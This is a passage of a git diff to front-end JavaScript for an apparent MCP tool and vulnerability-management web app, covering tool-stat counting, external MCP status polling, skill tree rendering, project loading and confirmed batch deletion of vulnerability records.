+        <span>${t('mcp.filterBySource', { name: escapeHtml(toolsExternalMcpFilter) })}</span>
+        <button type="button" class="tools-source-filter-clear" onclick="clearExternalMcpFilter()" title="${escapeHtml(t('mcp.clearSourceFilter'))}">×</button>
+    `;
+}
+
 // 渲染工具列表分页控件
 function renderToolsPagination() {
     const toolsList = document.getElementById('tools-list');
@@ -843,14 +1043,15 @@ function handleToolCheckboxChange(toolKey, enabled) {
     updateToolsStats();
 }
 
-function handleToolAlwaysVisibleChange(toolName, alwaysVisible) {
-    const name = (toolName || '').trim();
-    if (!name) return;
+function handleToolAlwaysVisibleChange(toolKey, alwaysVisible) {
+    const key = (toolKey || '').trim();
+    if (!key) return;
     if (alwaysVisible) {
-        alwaysVisibleToolNames.add(name);
+        addAlwaysVisibleAliases(key);
     } else {
-        alwaysVisibleToolNames.delete(name);
+        removeAlwaysVisibleAliases(key);
     }
+    updateToolsStats();
 }
 
 // 全选工具
@@ -960,60 +1161,22 @@ async function updateToolsStats() {
                 return checkbox ? checkbox.checked : tool.enabled;
             }).length;
         } else {
-            // 没有搜索时，需要获取所有工具的状态
-            // 先使用全局状态映射和当前页的checkbox状态
-            const localStateMap = new Map();
-            
-            // 从当前页的checkbox获取状态（如果全局映射中没有）
-            allTools.forEach(tool => {
-                const toolKey = getToolKey(tool);
-                const savedState = toolStateMap.get(toolKey);
-                if (savedState !== undefined) {
-                    localStateMap.set(toolKey, savedState.enabled);
-                } else {
-                    const checkboxId = `tool-${toolKey.replace(/::/g, '--')}`;
-                    const checkbox = document.getElementById(checkboxId);
-                    if (checkbox) {
-                        localStateMap.set(toolKey, checkbox.checked);
-                    } else {
-                        // 如果checkbox不存在（不在当前页），使用工具原始状态
-                        localStateMap.set(toolKey, tool.enabled);
+            // 使用服务端统计，避免为统计翻页触发多次外部 MCP ListTools
+            totalEnabled = toolsPagination.totalEnabled ?? 0;
+            if (toolStateMap.size > 0) {
+                let delta = 0;
+                allTools.forEach(tool => {
+                    const toolKey = getToolKey(tool);
+                    const savedState = toolStateMap.get(toolKey);
+                    if (savedState === undefined) {
+                        return;
                     }
-                }
-            });
-            
-            // 如果总工具数大于当前页，需要获取所有工具的状态
-            if (totalTools > allTools.length) {
-                // 遍历所有页面获取完整状态
-                let page = 1;
-                let hasMore = true;
-                const pageSize = 100; // 使用较大的页面大小以减少请求次数
-                
-                while (hasMore && page <= 10) { // 限制最多10页，避免无限循环
-                    const url = `/api/config/tools?page=${page}&page_size=${pageSize}`;
-                    const pageResponse = await apiFetch(url);
-                    if (!pageResponse.ok) break;
-                    
-                    const pageResult = await pageResponse.json();
-                    pageResult.tools.forEach(tool => {
-                        // 优先使用全局状态映射，否则使用服务器返回的状态
-                        const toolKey = getToolKey(tool);
-                        if (!localStateMap.has(toolKey)) {
-                            const savedState = toolStateMap.get(toolKey);
-                            localStateMap.set(toolKey, savedState ? savedState.enabled : tool.enabled);
-                        }
-                    });
-                    
-                    if (page >= pageResult.total_pages) {
-                        hasMore = false;
-                    } else {
-                        page++;
+                    if (savedState.enabled !== tool.enabled) {
+                        delta += savedState.enabled ? 1 : -1;
                     }
-                }
+                });
+                totalEnabled = Math.max(0, totalEnabled + delta);
             }
-            
-            // 计算启用的工具数
-            totalEnabled = Array.from(localStateMap.values()).filter(enabled => enabled).length;
         }
     } catch (error) {
         console.warn('获取工具统计失败，使用当前页数据', error);
@@ -1023,7 +1186,7 @@ async function updateToolsStats() {
     }
     
     const tStats = typeof window.t === 'function' ? window.t : (k) => k;
-    const pinnedCount = alwaysVisibleToolNames.size;
+    const pinnedCount = countUserAlwaysVisibleTools();
     statsEl.innerHTML = `
         <span title="${tStats('mcp.currentPageEnabled')}">✅ ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
         <span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span>
@@ -1375,11 +1538,6 @@ function fillVisionConfigFromCurrent(v) {
         const d = (v.detail || 'low').toString().toLowerCase();
         det.value = ['low', 'auto', 'high'].includes(d) ? d : 'low';
     }
-    const rootsEl = document.getElementById('vision-allowed-roots');
-    if (rootsEl) {
-        const roots = Array.isArray(v.allowed_roots) ? v.allowed_roots : [];
-        rootsEl.value = roots.join('\n');
-    }
     syncVisionFormEnabled();
 }
 
@@ -1388,8 +1546,6 @@ function collectVisionConfigFromForm() {
         const n = parseInt(document.getElementById(id)?.value, 10);
         return Number.isNaN(n) ? fallback : n;
     };
-    const rootsRaw = document.getElementById('vision-allowed-roots')?.value || '';
-    const allowed_roots = rootsRaw.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
     const provider = document.getElementById('vision-provider')?.value.trim() || '';
     return {
         enabled: document.getElementById('vision-enabled')?.checked === true,
@@ -1403,8 +1559,7 @@ function collectVisionConfigFromForm() {
         jpeg_quality: parseIntOr('vision-jpeg-quality', 82),
         max_payload_bytes: parseIntOr('vision-max-payload-bytes', 524288),
         skip_preprocess_below_bytes: parseIntOr('vision-skip-preprocess-bytes', 2097152),
-        detail: document.getElementById('vision-detail')?.value || 'low',
-        allowed_roots: allowed_roots
+        detail: document.getElementById('vision-detail')?.value || 'low'
     };
 }
 
@@ -1539,7 +1694,7 @@ async function saveToolsConfig() {
                 robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single',
                 batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true,
                 plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0),
-                tool_search_always_visible_tools: Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleBuiltinToolNames.has(name))
+                tool_search_always_visible_tools: getAlwaysVisibleForSave()
             },
             tools: []
         };
@@ -1736,6 +1891,32 @@ async function fetchExternalMCPs() {
     return response.json();
 }
 
+// MCP 管理页定时刷新外部 MCP 状态（感知后台断连/自动重连）
+let externalMcpPollTimer = null;
+const EXTERNAL_MCP_POLL_INTERVAL_MS = 8000;
+
+function startExternalMcpPoll() {
+    stopExternalMcpPoll();
+    externalMcpPollTimer = setInterval(function () {
+        const mcpPage = document.getElementById('page-mcp-management');
+        if (!mcpPage || !mcpPage.classList.contains('active')) {
+            stopExternalMcpPoll();
+            return;
+        }
+        if (document.hidden) {
+            return;
+        }
+        loadExternalMCPs().catch(function () { /* ignore */ });
+    }, EXTERNAL_MCP_POLL_INTERVAL_MS);
+}
+
+function stopExternalMcpPoll() {
+    if (externalMcpPollTimer) {
+        clearInterval(externalMcpPollTimer);
+        externalMcpPollTimer = null;
+    }
+}
+
 // 加载外部MCP列表并渲染
 async function loadExternalMCPs() {
     try {
@@ -1754,6 +1935,13 @@ async function loadExternalMCPs() {
     }
 }
 
+async function reloadMcpToolsAfterExternalChange(refreshExternal = false) {
+    if (typeof loadToolsList === 'function') {
+        const page = (toolsPagination && toolsPagination.page) ? toolsPagination.page : 1;
+        await loadToolsList(page, toolsSearchKeyword, { refreshExternal });
+    }
+}
+
 // 轮询列表直到指定 MCP 的工具数量已更新（每秒拉一次，拿到即停，无固定延迟）
 // name 为 null 时仅按 maxAttempts 次数轮询，不判断 tool_count
 async function pollExternalMCPToolCount(name, maxAttempts = 10) {
@@ -1772,6 +1960,7 @@ async function pollExternalMCPToolCount(name, maxAttempts = 10) {
             console.warn('轮询工具数量失败:', e);
         }
     }
+    await reloadMcpToolsAfterExternalChange(true);
     if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
         window.refreshMentionTools();
     }
@@ -1806,8 +1995,15 @@ function renderExternalMCPList(servers) {
         const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http');
         const transportIcon = transport === 'stdio' ? '⚙️' : '🌐';
         
+        const hasTools = server.tool_count !== undefined && server.tool_count > 0;
+        const cardClickTitle = hasTools
+            ? escapeHtml(statusT('mcp.clickToViewTools', { name }))
+            : '';
+        const cardClass = hasTools ? 'external-mcp-item clickable' : 'external-mcp-item';
+        const selectedClass = toolsExternalMcpFilter === name ? ' selected' : '';
+
         html += `
-            <div class="external-mcp-item">
+            <div class="${cardClass}${selectedClass}" data-mcp-name="${escapeHtml(name)}"${hasTools ? ` onclick="scrollToExternalMCPTools('${escapeHtml(name)}', event)" title="${cardClickTitle}"` : ''}>
                 <div class="external-mcp-item-header">
                     <div class="external-mcp-item-info">
                         <h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
@@ -1826,9 +2022,9 @@ function renderExternalMCPList(servers) {
                         <button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
                     </div>
                 </div>
-                ${status === 'error' && server.error ? `
-                <div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: #fee; border-left: 3px solid #f44; border-radius: 4px; color: #c33; font-size: 0.875rem;">
-                    <strong>❌ ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
+                ${(status === 'error' || status === 'disconnected') && server.error ? `
+                <div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: ${status === 'error' ? '#fee' : '#fff8e6'}; border-left: 3px solid ${status === 'error' ? '#f44' : '#e6a700'}; border-radius: 4px; color: ${status === 'error' ? '#c33' : '#8a6d00'}; font-size: 0.875rem;">
+                    <strong>${status === 'error' ? '❌' : '⚠️'} ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
                 </div>` : ''}
                 <div class="external-mcp-item-details">
                     <div>
@@ -1870,6 +2066,7 @@ function renderExternalMCPList(servers) {
     }
     html += '</div>';
     list.innerHTML = html;
+    updateExternalMcpCardSelection();
 }
 
 // 渲染外部MCP统计信息
@@ -2230,6 +2427,7 @@ async function toggleExternalMCP(name, currentStatus) {
                         }
                         // 轮询直到该 MCP 工具数量已更新（每秒拉一次，无固定延迟）
                         pollExternalMCPToolCount(name, 10);
+                        await reloadMcpToolsAfterExternalChange(true);
                         return;
                     }
                 }
@@ -2242,6 +2440,7 @@ async function toggleExternalMCP(name, currentStatus) {
         } else {
             // 停止操作，直接刷新
             await loadExternalMCPs();
+            await reloadMcpToolsAfterExternalChange(false);
             // 刷新对话界面的工具列表
             if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
                 window.refreshMentionTools();
@@ -2293,6 +2492,7 @@ async function pollExternalMCPStatus(name, maxAttempts = 30) {
                     }
                     // 轮询直到该 MCP 工具数量已更新（每秒拉一次，无固定延迟）
                     pollExternalMCPToolCount(name, 10);
+                    await reloadMcpToolsAfterExternalChange(true);
                     return;
                 } else if (status === 'error' || status === 'disconnected') {
                     // 连接失败，刷新列表并显示错误

web/static/js/skills.js

@@ -468,6 +468,11 @@ function showAddSkillModal() {
     modal.style.display = 'flex';
 }
 
+function skillPackagePathDepth(path) {
+    if (!path) return 0;
+    return (String(path).replace(/\/$/, '').match(/\//g) || []).length;
+}
+
 function renderSkillPackageTree() {
     const el = document.getElementById('skill-package-tree');
     if (!el) return;
@@ -479,13 +484,19 @@ function renderSkillPackageTree() {
     }
     el.innerHTML = rows.map(f => {
         const path = f.path || '';
+        const indent = 8 + skillPackagePathDepth(path) * 14;
         if (f.is_dir) {
-            return `<div style="padding:4px 6px;opacity:0.85;font-weight:600;">${escapeHtml(path)}/</div>`;
+            const dirLabel = path.endsWith('/') ? path : path + '/';
+            return `<div class="skill-tree-row skill-tree-dir" style="padding-left:${indent}px" title="${escapeHtml(_t('skillModal.folderHint'))}">` +
+                `<span class="skill-tree-icon" aria-hidden="true">📁</span>` +
+                `<span class="skill-tree-label">${escapeHtml(dirLabel)}</span>` +
+                `</div>`;
         }
-        const sel = path === skillActivePath
-            ? 'font-weight:600;background:rgba(99,102,241,0.12);'
-            : '';
-        return `<div style="padding:4px 6px;cursor:pointer;border-radius:4px;margin-bottom:2px;${sel}" data-skill-tree-path="${escapeHtml(path)}" class="skill-tree-item">${escapeHtml(path)}</div>`;
+        const selected = path === skillActivePath ? ' is-selected' : '';
+        return `<div class="skill-tree-row skill-tree-file${selected}" style="padding-left:${indent}px" data-skill-tree-path="${escapeHtml(path)}" title="${escapeHtml(_t('skillModal.clickToEdit'))}">` +
+            `<span class="skill-tree-icon" aria-hidden="true">📄</span>` +
+            `<span class="skill-tree-label">${escapeHtml(path)}</span>` +
+            `</div>`;
     }).join('');
     el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
         node.addEventListener('click', () => {

web/static/js/tasks.js

@@ -819,12 +819,19 @@ async function refreshBatchProjectSelectOptions() {
     projectSelect.innerHTML = `<option value="">${escapeHtml(noneLabel)}</option>`;
 
     try {
-        const response = await apiFetch('/api/projects?status=active&limit=200');
-        if (!response.ok) {
-            throw new Error(_t('projects.loadProjectsFailed'));
+        let list = [];
+        if (typeof fetchAllProjects === 'function') {
+            list = await fetchAllProjects(false);
+        } else {
+            const response = await apiFetch('/api/projects?status=active&limit=500');
+            if (!response.ok) {
+                throw new Error(_t('projects.loadProjectsFailed'));
+            }
+            const data = await response.json();
+            list = typeof parseProjectsListResponse === 'function'
+                ? parseProjectsListResponse(data).items
+                : (Array.isArray(data) ? data : (data.projects || []));
         }
-        const projects = await response.json();
-        const list = Array.isArray(projects) ? projects : [];
         const activeProjectId = typeof getActiveProjectId === 'function' ? getActiveProjectId() || '' : '';
 
         list.forEach((project) => {

web/static/js/vulnerability.js

@@ -33,7 +33,8 @@ function vulnStatusLabel(code) {
         open: 'vulnerabilityPage.statusOpen',
         confirmed: 'vulnerabilityPage.statusConfirmed',
         fixed: 'vulnerabilityPage.statusFixed',
-        false_positive: 'vulnerabilityPage.statusFalsePositive'
+        false_positive: 'vulnerabilityPage.statusFalsePositive',
+        ignored: 'vulnerabilityPage.statusIgnored'
     };
     return m[code] ? vulnT(m[code]) : code;
 }
@@ -720,7 +721,7 @@ async function loadVulnerabilityStats() {
             throw new Error('apiFetch未定义');
         }
 
-        const params = buildVulnerabilityFilterParams();
+        const params = buildVulnerabilityDashboardStatsParams();
 
         const response = await apiFetch(`/api/vulnerabilities/stats?${params.toString()}`);
         if (!response.ok) {
@@ -855,11 +856,6 @@ function renderVulnerabilities(vulnerabilities) {
         if (typeof window.applyTranslations === 'function') {
             window.applyTranslations(listContainer);
         }
-        // 清空分页信息
-        const paginationContainer = document.getElementById('vulnerability-pagination');
-        if (paginationContainer) {
-            paginationContainer.innerHTML = '';
-        }
         return;
     }
 
@@ -960,12 +956,6 @@ function renderVulnerabilityPagination() {
 
     const { currentPage, totalPages, total, pageSize } = vulnerabilityPagination;
 
-    // 如果没有数据，不显示分页控件
-    if (total === 0) {
-        paginationContainer.innerHTML = '';
-        return;
-    }
-
     // 计算显示范围
     const start = total === 0 ? 0 : (currentPage - 1) * pageSize + 1;
     const end = total === 0 ? 0 : Math.min(currentPage * pageSize, total);
@@ -1052,13 +1042,23 @@ async function populateVulnerabilityModalProjectSelect(selectedId) {
     const sel = document.getElementById('vulnerability-project-id');
     if (!sel) return;
     try {
-        const res = await apiFetch('/api/projects?limit=200');
-        if (res.ok) {
-            const list = await res.json();
+        let list = [];
+        if (typeof fetchAllProjects === 'function') {
+            list = await fetchAllProjects();
+        } else {
+            const res = await apiFetch('/api/projects?limit=500');
+            if (res.ok) {
+                const data = await res.json();
+                list = typeof parseProjectsListResponse === 'function'
+                    ? parseProjectsListResponse(data).items
+                    : (Array.isArray(data) ? data : (data.projects || []));
+            }
+        }
+        if (list.length) {
             if (typeof rebuildProjectNameMap === 'function') {
                 rebuildProjectNameMap(list);
             } else if (typeof projectNameById !== 'undefined') {
-                (list || []).forEach((p) => { if (p.id) projectNameById[p.id] = p.name || p.id; });
+                list.forEach((p) => { if (p.id) projectNameById[p.id] = p.name || p.id; });
             }
         }
     } catch (e) {
@@ -1531,6 +1531,13 @@ function buildVulnerabilityFilterParams() {
     return params;
 }
 
+/** 看板统计：保留项目/关键词等筛选，但不带严重度（卡片本身用于切换严重度筛选） */
+function buildVulnerabilityDashboardStatsParams() {
+    const params = buildVulnerabilityFilterParams();
+    params.delete('severity');
+    return params;
+}
+
 function triggerTextDownload(fileName, content) {
     const blob = new Blob([content], { type: 'text/markdown;charset=utf-8' });
     const url = URL.createObjectURL(blob);
@@ -1543,6 +1550,53 @@ function triggerTextDownload(fileName, content) {
     URL.revokeObjectURL(url);
 }
 
+function hasActiveVulnerabilityFilters() {
+    const keys = ['q', 'id', 'project_id', 'conversation_id', 'task_id', 'conversation_tag', 'task_tag', 'severity', 'status'];
+    return keys.some(function (k) {
+        return Boolean(vulnerabilityFilters[k]);
+    });
+}
+
+async function batchDeleteVulnerabilityReports() {
+    try {
+        const params = buildVulnerabilityFilterParams();
+        const statsResponse = await apiFetch(`/api/vulnerabilities/stats?${params.toString()}`);
+        if (!statsResponse.ok) {
+            throw new Error(vulnT('vulnerabilityPage.deleteFailed'));
+        }
+        const stats = await statsResponse.json();
+        const count = stats.total || 0;
+        if (count <= 0) {
+            alert(vulnT('vulnerabilityPage.batchDeleteNoResults'));
+            return;
+        }
+
+        const confirmKey = hasActiveVulnerabilityFilters()
+            ? 'vulnerabilityPage.batchDeleteConfirm'
+            : 'vulnerabilityPage.batchDeleteConfirmAll';
+        if (!confirm(vulnT(confirmKey, { count: count }))) {
+            return;
+        }
+
+        const response = await apiFetch(`/api/vulnerabilities/batch?${params.toString()}`, {
+            method: 'DELETE'
+        });
+        if (!response.ok) {
+            const error = await response.json().catch(() => ({ error: vulnT('vulnerabilityPage.deleteFailed') }));
+            throw new Error(error.error || vulnT('vulnerabilityPage.deleteFailed'));
+        }
+        const data = await response.json();
+        const deleted = data.deleted || 0;
+        alert(vulnT('vulnerabilityPage.batchDeleteSuccess', { count: deleted }));
+        vulnerabilityPagination.currentPage = 1;
+        loadVulnerabilityStats();
+        loadVulnerabilities();
+    } catch (error) {
+        console.error('批量删除漏洞失败:', error);
+        alert(vulnT('vulnerabilityPage.batchDeleteFailed') + ': ' + error.message);
+    }
+}
+
 async function exportVulnerabilityReports() {
     try {
         const params = buildVulnerabilityFilterParams();
@@ -1668,9 +1722,17 @@ async function refreshVulnerabilityProjectFilter() {
     const sel = document.getElementById('vulnerability-project-filter');
     if (!sel) return;
     try {
-        const res = await apiFetch('/api/projects?limit=200');
-        if (!res.ok) return;
-        const list = await res.json();
+        let list = [];
+        if (typeof fetchAllProjects === 'function') {
+            list = await fetchAllProjects(true);
+        } else {
+            const res = await apiFetch('/api/projects?limit=500');
+            if (!res.ok) return;
+            const data = await res.json();
+            list = typeof parseProjectsListResponse === 'function'
+                ? parseProjectsListResponse(data).items
+                : (Array.isArray(data) ? data : (data.projects || []));
+        }
         if (typeof rebuildProjectNameMap === 'function') {
             rebuildProjectNameMap(list);
         } else if (typeof projectNameById !== 'undefined') {